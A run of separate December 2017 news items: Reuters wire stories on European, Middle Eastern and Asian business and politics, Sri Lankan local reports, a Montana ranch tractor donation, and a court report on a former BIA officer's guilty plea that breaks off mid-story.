Ceconomy reported fourth-quarter EBIT rose 18 percent to 244 million euros ($288 million), meeting analysts' average forecast, and proposed a dividend of 0.26 euros per share, ahead of analysts' consensus estimate for 0.24 euros.

It said the rise was due to improvements in Germany, eastern Europe and the Netherlands. But earnings fell in Italy, where ecommerce is growing fast after a late launch by the likes of Amazon, which only started an Italian website in 2010.

Kepler analyst Fabienne Caron said she believed Ceconomy was now loss-making at the EBIT level in Italy.

Haas told analysts the competitive environment was difficult in Italy, but said he was convinced Ceconomy could recover quickly after installing new management there.

Ceconomy is working on integrating its stores and its online offering. Almost half of orders placed online are collected in store and 11 percent of sales now come online, up from 9 percent a year ago, with average store size down 3 percent.

It is also pushing ahead with loyalty programmes, which have signed up more than 14.5 million members, as well as offering to fix and install more electronic devices, with services and solutions now accounting for 6.2 percent of sales. (Reporting by Emma Thomasson; Editing by Maria Sheahan and Mark Potter)
SOFIA, Dec 19 (Reuters) - These are some of the main stories in Bulgarian newspapers on Tuesday. Reuters has not verified these stories and does not vouch for their accuracy.

-- A senior tax official was shot in downtown Sofia and was rushed to hospital in critical condition. Police is investigating the incident. (Standart, Sega, Capital Daily)

-- Bulgaria will receive additional 41 million euros ($48.35 million) by the Kozloduy International Decommissioning Support Fund for projects at the country's Kozloduy nuclear power plant, the energy ministry said. (Trud, Capital Daily, Duma)

-- The citizens in northeastern town of General Toshevo rejected at a local referendum plans of a Bulgarian company to start prospecting for natural gas in the region. (Monitor, Standart, Capital Daily, Duma) ($1 = 0.8480 euros)
MANILA, Dec 19 (Reuters) - Philippine President Rodrigo Duterte said lawmakers are expected to pass more measures early next year under his comprehensive tax reform agenda, after signing on Tuesday a bill containing the first batch of reforms into law.

Among the measures that are up for approval by Congress in the first quarter of 2018 is the adjustment in the motor vehicle users' charge, which will help raise more revenues.

The bill approved by Congress last week is expected to raise 92 billion pesos ($1.8 billion) in revenues in its first year, less than the Department of Finance had hoped to raise to fund the administration's ambitious infrastructure overhaul plan.

Duterte has promised to usher in a "golden age of infrastructure" by raising annual spending on it to more than 7 percent of gross domestic product from less than 3 percent before he began his six-year term in 2016.

Finance Secretary Carlos Dominguez had initially supported an earlier version of the bill that sought to raise as much as 162 billion pesos.

The measures under the landmark Tax Reform for Acceleration and Inclusion Act, or TRAIN, will raise just two-thirds of the expected revenues from the first package of reforms, but Duterte is satisfied with it.

"This is just an initial part of our gains," Duterte said at the presidential palace after signing the tax reform and budget bills into law. "I thank Congress again for its commitment to pass the balance by the first quarter of next year."

The balance includes, among others, a general tax amnesty, the proposed adjustments in the motor vehicle users charge and amendments to the bank secrecy law.

Duterte hailed the approved bill as his administration's "biggest Christmas gift to the Filipino people" saying 99 percent of the taxpayers will benefit from the "simpler, fairer and more efficient" tax system.

Reforms under the TRAIN include lower personal income taxes, expanded value-added tax base, higher taxes on petroleum products, automobiles and tax imposition on some sugar-sweetened beverages, among others.

Duterte directed the finance department to submit to Congress early next year the second package of proposed reforms that includes lowering corporate income tax. The department is looking at reducing the rate to 28 percent by 2019 and 25 percent by 2021, from 30 percent now.

He also signed the 2018 budget bill into law, which increases state spending by 12 percent to a record 3.77 trillion pesos, which will also support infrastructure spending.

But while he described it as a "credible budget", Duterte said it was subject to "several line vetoes" that he would discuss in a veto message to Congress. He did not elaborate. (Reporting by Enrico dela Cruz and Manuel Mogato; Editing by Jacqueline Wong)
By Gergely Szakacs and Krisztina Than

BUDAPEST, Dec 19 (Reuters) - Hungary will issue about 1 billion euros ($1.2 bln) worth of international bonds in 2018 and launch a euro-denominated bond on the domestic market as part of plans to increase local investors' holding of its debt.

Hungary, which regained its investment grade credit rating in 2016 after years in "junk" category, aims to roll over expiring debt mainly from forint-denominated issuance next year in line with the government's policy of recent years.

The right-wing government of Prime Minister Viktor Orban has substantially boosted domestic debt issuance to reduce reliance on foreign funding, saying this was a matter of national sovereignty.

The share of foreign currency debt could fall to 20 percent in 2018 from 22 percent at the end of 2017, Economy Minister Mihaly Varga told a news conference on Tuesday.

"A new element (in debt financing) could be a ... domestic euro bond," Varga said, adding that the new bond could be sold at auctions similar to forint-denominated bond auctions.

The new bond would have a two- to five-year maturity, debt agency Chief Executive Gyorgy Barcza told the same news conference.

The exact amounts offered as well as the frequency of the new bond tenders would be determined later.

Hungary has 2.3 billion euros' ($2.7 bln) worth of foreign currency debt expiring next year, and plans to cover about 1 billion euros of that with international bond issuance.

Varga said Hungary was not planning to issue renminbi Panda bonds in 2018 after a similar debt issue this year to investors in China.

However, he said the government could issue a Samurai bond in the first half of 2018 to maintain its presence on the Japanese market.

Hungary's net financing need is seen at 1.361 trillion forints ($5.1 billion) next year, while gross debt issuance is planned at 8.84 trillion forints, the AKK said. ($1 = 0.8468 euros) ($1 = 264.96 forints) (Reporting by Krisztina Than and Gergely Szakacs; Editing by Susan Fenton)
DUBAI, Dec 19 (Reuters) - Qatar's central bank said on Tuesday that it had launched a legal investigation into attempts to harm the Qatari economy by manipulating the currency, securities and derivatives markets.

"We know blockading countries and their agents are attempting to manipulate and undermine our currency, securities and derivatives, as part of a coordinated strategy to damage Qatars economy," central bank governor Sheikh Abdullah bin Saud al-Thani said in a statement.

"We will not stand by while our country is attacked in this manner." Saudi Arabia, the United Arab Emirates, Bahrain and Egypt imposed an economic boycott on Qatar in June, accusing it of backing terrorism, which it denies. (Reporting by Saeed Azhar; Writing by Andrew Torchia)
By Suleiman Al-Khalidi

AMMAN, Dec 19 (Reuters) - Palestinian billionaire Sabih al-Masri, Jordan's most powerful businessman, returned to Amman on Tuesday after his release in Saudi Arabia secured when he agreed to pay an unspecified amount of money, sources close to the matter said.

Masri was detained for questioning last week over his alleged links with Saudi business partners among royals, ministers and officials who were rounded up last month in an unprecedented anti-corruption purge.

Masri, chairman of Amman-based Arab Bank, Jordan's largest lender, was taken into custody just before he was planning to leave Saudi Arabia after chairing meetings of Saudi companies he owns, informed sources said.

"He is at his home now in Amman," said a family source.

Masri later held meetings in the bank with senior officials.

Arab Bank shares, which account for almost a quarter of the $24 billion market capitalization of the Amman exchange, ended 1.48 percent higher as investors reacted favourably to the news of his return.

Masri has since taking the helm at Arab Bank in 2012 helped boost confidence in one of the Arab world's largest private financial institutions.

The bank, first established in Jerusalem in 1930 and one of the major Middle East financial institutions, has a balance sheet of more than $45 billion and has earned a reputation of resilience in the face of regional political turmoil.

Masri, a Saudi citizen, said from his home in Riyadh on Sunday after his release that the Saudi authorities had accorded him "all respect". Saudi officials have not commented on his detention. Jordanian authorities privately said King Abdullah intervened to secure his release.

A source familiar with the matter said Masri was freed after reaching a settlement to return an unspecified amount of money. There was no comment from the Masri family.

"There is no way Masri has been freed without agreeing to some settlement. The Saudis are telling anyone who has made huge sums of money that they have to pay back some of that wealth," the source said.

Another source said Riyadh saw these settlements not as blackmail but an obligation to reimburse money taken illegally from the world's top oil producer over several decades.

FINANCIAL SETTLEMENTS

Saudi authorities have already succeeded in reaching financial settlements with dozens of royal family members, senior officials and wealthy businessmen in the crackdown spearheaded by powerful Crown Prince Mohammad bin Salman.

Around 200 people in total have been questioned in the crackdown, authorities said last month.

Saudi authorities estimate they could eventually recover around $100 billion of illicitly held funds.

They have been working on reaching agreements with suspects detained at Riyadhs luxurious Ritz Carlton hotel, asking them to hand over assets and cash in return for their freedom.

Masri's detention unnerved business circles in Jordan and the Palestinian Territories as well as many Arab magnates across the Middle East who have made fortunes in Saudi Arabia, according to several investors who asked not to be named.

His multi-billion-dollar investments in hotels and banking in Jordan represent a cornerstone of the economy of the kingdom and he is by far the biggest investor in Palestinian areas.

A member of a prominent merchant family from Nablus in the Israeli-occupied West Bank, Masri amassed a fortune by joining with influential Saudi royals in a catering business to supply troops during the U.S.-led military operation to retake Kuwait from Iraq in the 1991 Gulf War.

Confidants said Masri had been warned not to travel to the Saudi capital after mass arrests of Saudi royals, ministers and businessmen in early November.

Officials and businessmen had warned of the reverberations of the crisis on an aid-strapped Jordanian economy already plagued by high debts. Saudi Arabia is a major donor. (Editing by Mark Heinrich, William Maclean)
By Katie Paul and Rania El Gamal

RIYADH, Dec 19 (Reuters) - Saudi air defences shot down a ballistic missile fired by Yemen's Houthi group towards Riyadh on Tuesday, the Saudi-led coalition said, in an attack that could escalate a proxy war between the kingdom and Iran.

There were no reports of casualties or damage. In contrast, a U.N. human rights spokesman said coalition air strikes had killed at least 136 non-combatants in war-torn Yemen since Dec. 6.

The Iran-aligned Houthi movement said it had aimed the missile at the Saudi royal court at al-Yamama palace, where a meeting of Saudi leaders was under way. It described the attack as a new chapter in the conflict.

The Saudi-led coalition said the missile, the latest of several fired towards Riyadh, had been directed at residential areas and there had been no damage.

Quoting a statement from the coalition, Saudi state news agency SPA said Iranian-made missiles were a threat to regional and international security. It accused the Houthis of using humanitarian entry points into Yemen to smuggle in missiles from Saudi Arabia's regional arch-foe Iran.

"Coalition forces confirm intercepting an Iranian-Houthi missile targeting (the) south of Riyadh. There are no reported casualties at this time," the government-run Center for International Communication wrote on its Twitter account.

Saudi palaces, military and oil facilities are within range of such missiles, the Houthis said in a statement carried by the group's Al-Masirah television.

The U.S. State Department condemned the missile attack and called on Iran to stop arming the Houthis.

At the United Nations, U.S. Ambassador Nikki Haley said the Houthi missile strike "bears all the hallmarks of previous attacks using Iranian-provided weapons."

Haley said she was exploring, with some U.N. Security Council colleagues, several options for pressuring Iran to "adjust their behavior." Haley is likely to struggle, however, to convince some members, like veto powers Russia and China, that U.N. action is needed.

THOUSANDS OF AIR STRIKES IN YEMEN

Saudi Arabia and Iran are locked in struggle for influence in the Middle East. The conflict in Saudi Arabia's backyard Yemen has killed more than 10,000 people and displaced over 2 million.

The Houthis for their part have fired several missiles at the kingdom, but have not caused any serious damage.

The attack came as the Houthis marked 1,000 days since the Saudi-led coalition began military operations in Yemen in March 2015 after the Iran-aligned group drove Yemeni President Abd-Rabbu Mansour Hadi into exile.

"The enemies had their own mirage calculations ... but over 1,000 days, there has been this great steadfastness," said Abdel-Malek al-Houthi, a Houthi leader, in a speech on the group's Al-Masirah TV.

The United Arab Emirates, a close ally of Saudi Arabia and part of its coalition, said the latest Houthi attack underscored the need to keep the military campaign in Yemen going.

"With every Iranian missile fired by the Houthi militia against civilian targets, the necessity of (Operation) Decisive Storm becomes clear," United Arab Emirates Minister of State for Foreign Affairs Anwar Gargash wrote on his Twitter account.

Lebanese Prime Minister Saad al-Hariri condemned the attack, saying such actions exacerbated divisions in the region.

Saudi Arabia and Iran are also competing for influence in Iraq and Syria.

Reuters witnesses described hearing a blast and said they saw smoke in the northeast of Riyadh.

Saudi Arabia's Crown Prince, Mohammed bin Salman, has described what Riyadh says is Iran's supply of rockets to the Houthis as "direct military aggression" that could be an act of war.

Iran has denied supplying such weaponry to the Houthis, who have taken over the Yemeni capital, Sanaa, and other parts of the country during its civil war.

Saudi Arabia said on Nov. 4 it had intercepted a ballistic missile over Riyadh's King Khaled Airport, an attack that led the coalition to close Yemeni ports.

On Nov. 30, Saudi Arabia shot down another missile near its southwestern city of Khamis Mushait.

Last week, the United States presented for the first time pieces of what it said were Iranian weapons supplied to the Houthis, describing them as conclusive evidence that Tehran was violating U.N. resolutions.

The arms included charred remnants of what the Pentagon said was an Iranian-made short-range ballistic missile fired from Yemen in the Nov. 4 attack, as well as a drone and an anti-tank weapon recovered in Yemen by the Saudis. (Additional reporting by Sylvia Westall in Dubai and Sarah Dadoush in Beirut and Michelle Nichols at the United Nations; Writing by Sami Aboudi; Editing by Michael Georgy and Peter Cooney)
DUBAI, Dec 19 (Reuters) - Etihad Airways will scrap flights to Tehran on Jan. 24, the latest route to be dropped as the Abu Dhabi airline pursues a strategy review.

The airline launched the review in 2016 that has also seen it sell or step away from investments in foreign carriers.

Etihad's five weekly flights to Iran's capital will be reduced to two a week between Dec. 25 and Jan. 23, before it suspends the route entirely on Jan. 24, an airline spokeswoman said.

She declined to say why the route was being suspended, but said in a statement that affected passengers could switch to an alternative travel date between Dec. 25 and Jan. 23 or be refunded.

Since launching the strategy review, Etihad has said it would cut flights to San Francisco and Dallas-Fort Worth in the United States.

Britain's top defence buyer Tony Douglas will join Etihad next month as its new group chief executive, as the airline rethinks its rapid expansion strategy.

Two of Etihad's major foreign investments, Air Berlin and Italy's Alitalia, filed for administration this year.

Douglas, who joins Etihad from Britain's Ministry of Defence, has previously served as chief executive of Abu Dhabi's airport company.

Etihad has made few details public about its strategy review, which since being launched has seen the departure of its James Hogan, its group chief executive who led the airline for a decade. (Reporting by Alexander Cornwell; Editing by Mark Potter)
The line of old tractors at the Special K Ranch looked faded, with snow piled up a bit at the wheels.

"I don't think there's anything newer than a 70s (model)," said program director Marvin Schieldt of the line of tractors.

They were old, no doubt, but also not very powerful. The biggest tractor boasted about 80 horsepower, Schieldt said.

Tractors are multi-purpose pieces of equipment at the ranch, which provides steady work and a place to live for adults with developmental disabilities.

The residents were assembling boxes and doing other contract work Monday while the agriculture work is on seasonal hiatus. They'll start potting plants in the large greenhouse facility next month.

The ranch also has livestock  160 sheep and 20 cows right now  and runs outdoor growing fields.

With all that work, they need tractors for irrigating, earth-moving and a number of other tasks. The current lineup of tractors was reaching retirement.

A while back away from the ranch, Todd Litton acquired a tractor in similar shape. His neighbor was moving and getting rid of some things, including a 1968 John Deere 4020 tractor.

"I said, 'Well, I'll just drag it over at the house,'" said Litton, who owns American Auto Body.

It wasn't in great shape. It had a hornet's nest inside that needed to be evicted, among other needs. But then Litton heard at a Special K fundraiser that the ranch needed farming equipment. He thought of the old 4020.

Litton enlisted Jason Oswald in Carbon County to help restore the tractor. It's the classic John Deere model, and Oswald gave it a bright coat of green and yellow. It got a mechanical upgrade, too.

On Monday, Litton delivered it to the ranch.

"These guys are a great organization," he said. "What better place for this tractor?"

The ranch residents walked outside as Litton drove it off the trailer. One man climbed up into the driver's seat, and a couple others climbed onto its big rear tires for photos.

The ranch now has a new tractor. And the 1968 diesel engine makes a bit more power  something closer to 100 horsepower.
SULAIMANIYA, Iraq, Dec 19 (Reuters) - Kurdish protesters, angered by years of austerity and unpaid public sector salaries, attacked several offices of the main political parties in Iraq's Kurdish north on Tuesday in a second day of violent unrest amid tensions with Baghdad.

About 1,250 protesters, mostly teachers, students, and civil servants, were out in the city of Sulaimaniya. Six were injured, regional health officials said, after the crowd was shot at with rubber bullets and sprayed with tear gas by security forces.

Acknowledging that protesters had a "legitimate right" to demonstrate, Iraq's Kurdistan Regional Government (KRG) nonetheless said the targeting of government offices and party headquarters in Sulaimaniya province was unacceptable.

"We are concerned with the uncivil actions and the violence used today in a number of cities and towns across Kurdistan," the KRG said in a statement.

It warned that relevant authorities could intervene to prevent further damage, after several people were left injured and properties damaged.

Tension has been high in the region since the central government in Baghdad imposed tough measures when the KRG unilaterally held an independence referendum on Sept. 25 and Kurds voted overwhelmingly to secede.

The move, in defiance of Baghdad, also alarmed neighbouring Turkey and Iran who have their own Kurdish minorities.

For the second day, protesters demanded that the KRG quit.

They set fire to the offices of Kurdish political parties in the towns of Koya, Kifri and Ranya. Officials have closed roads around Sulaimaniya, a Reuters witness said.

Security sources said the road between Darbandikhan and Sulaimaniya, which connects the city to southern towns where there are major protests, has been closed.

On Monday, Kurdish political offices were also set ablaze in Sulaimaniya province, including a building belonging to the ruling Kurdish Democratic Party (KDP) and one belonging to its coalition partner in government, the Patriotic Union of Kurdistan (PUK).

At least 3,000 Kurdish demonstrators had gathered in Sulaimaniya for the protests on Monday against the KRG.

Stringent economic measures taken after the Baghdad central government slashed funds to the KRG in 2014 when it built its own oil pipeline to Turkey in pursuit of economic independence have led to sporadic protests over unpaid civil servant salaries in the last three years.

After the September referendum, the Iraqi government responded by seizing Kurdish-held Kirkuk and other territory disputed between the Kurds and the central government. It also banned direct flights to Kurdistan and demanded control over border crossings. (Writing and additional reporting by Raya Jalabi in Erbil; Editing by Ahmed Aboulenein and William Maclean)
By Alessandra Prentice and Pavel Polityuk

KIEV, Dec 19 (Reuters) - Ukraine's parliament is likely to vote on Thursday on whether to back acting central bank chief, Yakiv Smoliy, as governor on a permanent basis, a government official said, and end months of uncertainty over the highly-politicised nomination.

It is President Petro Poroshenko's duty to choose a central bank chief, but his delay putting forward a candidate since the resignation of the former governor in May has concerned Ukraine's backers including the International Monetary Fund.

The president's choice needs to be approved by parliament and lawmakers are likely to debate the issue on Thursday, said Vadym Denysenko, who is the government's representative to parliament and also an MP in Poroshenko's faction.

"There is a high probability that there will be a vote for the new head of the central bank on Thursday," he said on television channel 112.

"Now one candidate is being considered and it's acting (governor) Smoliy," he said. He was certain enough members of parliament would back the nomination which required at least 226 votes in the 450-seat parliament.

Smoliy is widely seen as a safe pair of hands due to his 26 years of experience in the banking sector and work as deputy governor during the bank's drive to modernise the banking system after a pro-European uprising in 2013-14.

Nevertheless Smoliy's lack of political experience could mean he lacks the background and skills to juggle commitments to Ukraine's external creditors with pushback from populist factions in parliament.

Working under Valeriia Gontareva, Smoliy has seen the kind of opposition the central bank chief faced from lawmakers who disagreed with Western-backed austerity measures to shore up the graft-ridden economy.

When she resigned, Gontareva called for the central bank to stay independent, saying she believed resistance to change and reforms would increase.

Under Smoliy's interim stewardship, the central bank has continued to highlight the importance of Ukraine sticking with its $17.5 billion IMF programme.

Ukraine has received $8.4 billion under the programme, but further disbursements have been delayed by slow implementation of pension changes and gas price adjustments, among other issues.

Senior Ukrainian bankers polled by online newspaper Ukrainska Pravda in May said Smoliy was a suitable candidate to govern the central bank.

"As we have seen, he's able to take difficult decisions in difficult circumstances, which shows his competence and top managerial skills," the head of Ukraine's independent banking association, Roman Shpek, was quoted as saying.

One of the bank's main achievements has been a clean-up of the banking sector, which led to the closure of half of Ukraine's lenders. Many had become dangerously under-funded due to shady lending practices and a protracted recession.

A key task for Smoliy as governor will be working with the finance ministry and international financial institutions to help formulate a strategy on state-owned bank reform.

The government currently owns over 50 percent of the banking sector due to the IMF-backed nationalisation in December of PrivatBank, Ukraine's largest lender. (Editing by Matthias Williams and Richard Balmforth)
By Alessandra Prentice and Oleksandr Klymenko

KIEV/NOVOLUHANSKE, Ukraine, Dec 19 (Reuters) - Fighting in eastern Ukraine has escalated to the worst level in months, officials monitoring the conflict said on Tuesday, after the shelling of a frontline village wounded eight civilians and destroyed or damaged dozens of homes.

A Russia-backed insurgency erupted in 2014 and the bloodshed has continued despite a ceasefire deal that was meant to end a conflict in which more than 10,000 people have been killed, with casualties reported on a near-daily basis.

The Organisation for Security and Co-operation in Europe, which monitors the implementation of the peace agreement, said it had recorded 16,000 ceasefire violations between Dec. 11 and Dec. 17, a 35 percent increase on the week before.

"We note with concern a sharp deterioration in the security situation with ceasefire violations reaching levels not recorded since February this year," chief monitor Ertugrul Apakan said in a statement.

In February, a surge of violence around the government-held industrial town of Avdiivka cut off power and water to thousands of civilians on the front line.

Apakan said the latest escalation reflected an established trend "in which a recommitment to the ceasefire by the sides was followed by a steady increase in the level of violence, culminating in fierce fighting".

Apakan's comments followed warnings from aid agencies over the humanitarian situation in the eastern Donbass region, particularly given Monday's attack on the government-controlled village of Novoluhanske.

The United Nations' OCHA humanitarian arm said on Twitter heavy shelling near Novoluhanske was affecting 2,000 residents.

People are fleeing the area in blizzard conditions, it said.

Eight civilians were wounded and more than 50 buildings were damaged in the shelling, which also temporarily cut power supplies, the regional Kiev-controlled Donetsk administration said.

A Reuters witness saw residents picking their way through the rubble of destroyed homes and surveying fire-blackened buildings.

The Ukrainian military on Tuesday accused pro-Russian separatists of deliberately firing more than 40 times from multiple-launch rocket systems at Novoluhanske.

Meanwhile, the rebel command said attacks from the Ukrainian side had almost doubled in the past 24 hours, according to separatist news website DAN.

Rebels deny attacking Novoluhanske and say the Ukrainian military fired at the village to justify their attacks on separatist-held civilian areas, according to DAN.

In an effort to end the deadlock, the international community, including the United States, has in recent months been advocating for the deployment of U.N. peacekeepers in the Donbass.

Both Kiev and Moscow backed the idea but disagree on whether the troops should be positioned on the rebel-controlled part of the Ukraine-Russia border, so no decision was made.

Russia denies accusations from Ukraine and NATO that it supports the rebels with troops and weapons. (Editing by Matthias Williams and Alison Williams)
By Alexander Cornwell

DUBAI, Dec 19 (Reuters) - Etihad Airways will scrap flights to Iran and Uganda next year, the latest routes to be dropped as it pursues a strategy review.

The Abu Dhabi airline, one of the three Gulf super connectors, has spent over a decade building a global network that links passengers travelling between East and West.

Etihad will stop flying to Iran's capital Tehran on Jan. 24 and Uganda's Entebbe on March 25, the airline said on Tuesday.

The five weekly Tehran services are to be reduced to twice a week between Dec. 25 and Jan. 23, before it is suspended entirely on Jan. 24.

An Etihad spokeswoman declined to say why Tehran was being suspended, but said affected passengers could switch to an alternative travel date between Dec. 25 and Jan. 23 or be refunded.

Entebbe is being dropped after a commercial review of the route's performance, an Etihad statement said.

Etihad stopped flying to San Francisco in October, and has also announced it would cut flights to Dallas-Fort Worth and India's Jaipur next year.

Etihad has blamed American Airlines for making its Dallas route no longer commercially viable after the U.S. carrier ended their codeshare deal.

Etihad, along with Emirates and Qatar Airways which make up the three major Middle East airlines, relies on connecting millions of passengers a year through the Gulf, which means ending one route can have a knock-on effect on its network.

The majority of their passengers do not start or finish their journey at their respective Gulf hubs.

The airline launched the strategy review in 2016 but has made few details public about it. This year, it sold its stake in a European regional carrier and stepped away from investments in Air Berlin and Italy's Alitalia which both subsequently filed for administration.

Etihad's long-serving Group Chief Executive James Hogan left the airline this year, and will be replaced by Britain's top defence buyer Tony Douglas next month.

Douglas, who joins Etihad from Britain's Ministry of Defence, has previously served as chief executive of Abu Dhabi's airport company. (Reporting by Alexander Cornwell; Editing by Mark Potter and Adrian Croft)
The Tourism Development and Christian Affairs Ministry and Sri Lanka Tourism Development Authority (SLTDA) have launched an initiative to light up Colombos streets for the festive season.



Under this initiative, Janadhipathi Mawatha, Galle Road (up to Bambalapitiya), Baudhaloka Mawatha, Duplication Road (up to Bambalapitiya), Reed Avenue, Thummulla junction, Union Place, Pittala Junction, Ibbanwela Junction, Liberty, Galle Face and Lake House roundabouts will be lit up, from December 19 to January first week.



SLTDA Community Relations Director Mihira Liyanaarachchi said 40 private sector organisations and several key state organisations have extended their support to the initiative.



Accordingly, he said, the Sri Lanka Air Force will light up Chittampalam Gardiner Mawatha, while the Navy will light up the streets around the Gangaramaya temple.



The Army will light up Reed Avanue, Colombo 7.

This project will take place for the third consecutive year, Liyanarachchi said, adding that it will turn out to be a major tourist attraction, this year.



This is also in line with the two main Christmas festivals in Colombo  one organised by the Sri Lanka Tourism Promotions Bureau and the other by the Sri Lanka Retailers Association. We believe this initiative will add value to all Christmas celebrations in Colombo, he explained.
Zac Oldershaw - 2nd runner up, Jack Eyers - Mr.England title winner, Fouzul Hameed - Managing Director, Hameedia Group, Jack Hesslewood - 1st runner up

Hameedia, Sri Lankas leading menswear specialist recently awarded the winner of Mr. England 2017-19 - Jack Eyers - a wardrobe courtesy of its premier brand Envoy London during the course of his visit to Sri Lanka. As Brand Ambassador of Envoy London, Jack Eyers attended the fifth edition of Fouzul Hameeds highly-anticipated fashion showcase - Concept 2018 by Hameedias, which was attended by Colombos fashion elite, several VIPs, leaders of the business and fashion communities, and the senior management and staff from Hameedia. Envoy London is the official title partner of Mr. England.

The first and second runners-up of the international competition for Mr. England 2017-19, Jack Hesslewood and Zac Oldershaw were also present at the event. This year, the showcase featured an exclusive range of ready-to-wear and tailor-made collections for modern and stylish urban men.

Fouzul Hameed  Managing Director, Hameedia Group said: We are delighted to host the winner of Mr. England 2017-19, Jack Eyers, in Sri Lanka, along with the first and second runners-up of the international competition, Jack Eyers and Zac Oldershaw. As Brand Ambassador of Envoy London, Jack Eyers has done us proud. His presence at the Concept show, a truly iconic fashion event in the country, further enhanced the evening. It is our pleasure to gift him a stylish Envoy London wardrobe as a token of our appreciation. We are also pleased to have facilitated the travel of the three winners of Mr. England 2017-18 to Galle and other key tourist hotspots in Sri Lanka which they have enjoyed immensely. Envoy London wishes Jack Eyers all the best for his future endeavors and we look forward to seeing them back again soon in Sri Lanka.

The Miss. England pageant began in 1928 and the Mr. England arm of the competition first commenced in 1996. The competition not only recognizes the physical attributes of participants, but also aims to make an impact through the Beauty With a Purpose campaign, which raises funds for various charities through the competition.

Established in 1949, Hameedia has grown to become a pioneer in the Sri Lankan fashion industry. The fashion store is renowned for delivering high-quality custom tailoring under the bespoke and Made to Measure category and ready-made clothes for gentlemen. The Hameedia, multi-brand retail stores house a collection of quality menswear brands such as Le Bond, Envoy, Signature, Raymond, Lee and Adidas to name a few. Hameedia also prides itself on offering outstanding standards of service to ensure that all clients enjoy a shopping experience that is positive and personalized. With a network of over 30 outlets across Sri Lanka and a large and experienced team, Hameedia has a strong local presence and has also extended its operations to the global fashion industry with outlets in the Maldives and Australia.
Condemning the decision of Israel to shift its capital from Tel Aviv to Jerusalem which is considered sacred by the Christians, the Archbishop of Colombo Cardinal Malcolm Ranjith today said this city does not belong to one group of people.

The Catholic church is of the opinion that Jerusalem should not be a city which belongs to one group of people and therefore we cannot approve the recent developments with regard to this city, he said.

USA has now accepted it as Israels capital. (Yohan Perera and Pix by Pradeep Dilrukshana)
Malaysia will send a mission to Jaffna to determine the assistance that can be provided to the war-torn province, Malaysian Prime Minister Datuk Seri Najib Tun Razak said.

The Prime Minister, who received a courtesy call from C.V. Wigneswaran, the Chief Minister of Sri Lanka's Northern Province, said the area, which was home to many Sri Lankan Tamils, had yet to recover from the effects of civil war.

Najib said the people were still suffering as there were 45,000 single mothers who had become their families' sole breadwinners after their husbands died in the war.

In addition, about 11,000 ex-soldiers in Jaffna remain unemployed.

"I told him that Malaysia would send a mission comprising Government officials and the private sector, especially Malaysians from the Sri Lankan diaspora."

"The mission will determine what are the possibilities in terms of the help that we can extend to them," Najib told Malaysian media here before leaving for the Maldives for an official visit.

Najib had been in Sri Lanka since Sunday on a three-day official visit.

The Prime Minister also said that Wigneswaran had informed him that among the areas where assistance was required were for micro financing and public housing. (The Star Online)
A joint Cabinet paper submitted by Special Assignments Minister Sarath Amunugama and Power and Renewable Energy Minister Ranjith Siyambalapitiya today seeking approval to construct two coal power plants at Sampur in Trincomalee and Norochcholai in Puttalam had been differed due to the absence of the Finance Minister.

A minister told Daily Mirror that President Maithripala Sirisena is reported to have said the construction of the two coal power plants with an installed capacity of 1,200 MWs needs further evaluation and review by the Finance Minister.

Meanwhile, environment organizations have expressed concern over the proposal to build two new coal power plants in Sampur and Norochcholai despite being rejected by the Public Utilities Commission of Sri Lanka (PUCSL) on the basis that they would contribute to environmental pollution harming human, animal and plant life.

The Rainforest Protectors of Sri Lanka Convener Jayantha Wijesinghe referring to this move says the inherent issues and contradictions had cropped up in the recent joint cabinet paper outlining the diversification of the energy mix in Sri Lanka's long-term generation plan (LTGP).

"In line with Government policy, the already approved Long Term Generation Plan (LTGP) for 2017-2038, currently in force cannot be changed until 2019. Should the ministry need to introduce new proposals, it must wait until 2019 to do so, and seek public comments on all such new proposals. The public, being an energy consumer, has a right to comment on the nature of what they are supplied with for consumption; therefore, giving public opinion prior to the tabling of changes is moreover a consumer right," Mr. Wijesinghe said.

The cabinet paper notes in its 'Background' section that minimizing environmental impacts in the generation of energy is a priority for the country and reiterates that when deciding on the generation mix, protecting the environment is of 'utmost priority'.

As environment organizations, we would like to note that this point is aligned with the assurances Sri Lanka made to the global community as party to the Paris Agreement on Climate Change in April 2016, including in the country position paper that, "Sri Lanka will place her development agenda on a fossil fuel free target."

He said the Cabinet paper contradicted its previous point, when it allocates 1,200 MW to be generated by the two new proposed coal power plants, ostensibly for the purpose of strategic diversification of the energy mix to ensure energy security.

"Environmental organizations believe that using strategic diversification as a justification for the development of coal power generation in Sri Lanka is heinously damaging to the country's pledges to the world, and takes Sri Lanka a long step back in a world fast progressing past coal. In fact, the Powering Past Coal Alliance, which is part of the Conference of Parties, aims to grow its country membership to 50 by the next UN Climate Summit in 2018, in recognition of coal's role as the biggest source of carbon emissions in the world," Mr. Wijesinghe said and added that the Cabinet paper uses the term 'clean coal', a misnomer without a scientific definition.

"The term 'clean coal' implies higher technologies in coal processing that removes carbon emissions, although in reality the term is merely subterfuge created and popularized by the coal industry itself, in response to anti-coal litigation." he said. (Sandun A Jayasekara)
Sri Lanka is interested in implementing the same electronic court system that has been used by Malaysia since 2009, a Minister in the Malaysian Prime Minister's Department said.

According to Datuk Seri Azalina Othman, Sri Lankas interest clearly demonstrated that the e-Courts Online Filing system is recognised internationally.

"The government to government (G2G) cooperation is not only beneficial to both countries, but it will also make the judicial system more effective and efficient," she said in a statement issued on Tuesday.

Azalina was accompanying Prime Minister Datuk Seri Najib Razak on a official visit to Sri Lanka, which ended on Tuesday.

During the visit, Azalina also held a meeting and discussion session with Sri Lanka's Minister of Justice and Foreign Employment Thalatha Aturkorale and Minister of Telecommunication and Digital Infrastructure Harin Fernando.

"The meetings have opened up new opportunities of cooperation between the two countries," she said.

Azalina also added that the e-Court system has improved the competence of the judiciary and the system had been recognised by the World Bank in its "Doing Business" report.(Malaysian Star Online)
A former Bureau of Indian Affairs officer admitted on Tuesday to coercing a woman into having sex, which led to her becoming pregnant.

The woman didn't want to have sex with the officer but feared losing her job if she got arrested.

Dana Michael Bullcoming, 43, of Lame Deer, pleaded guilty to deprivation of rights under color of law during a hearing before U.S. Magistrate Judge Timothy Cavan of Billings.

A plea agreement calls for two other counts of lying to federal officers to be dismissed at sentencing. The government also agreed not to prosecute Bullcoming for sexual abuse.

Assistant U.S. Attorney Bryan Dake said that on Oct. 31, 2015, in Lame Deer, the victim reported to law enforcement that her mother was driving while drunk. Bullcoming responded, and, after finding that the victims mother was safe, he left the scene and went to talk to the victim at her residence.

Bullcoming knocked on the victims door, and when no one answered, he entered, Dake said.

The victim had fallen asleep on a living room sofa and awoke to find Bullcoming standing over her, the prosecutor said. The victim admitted to being drunk.

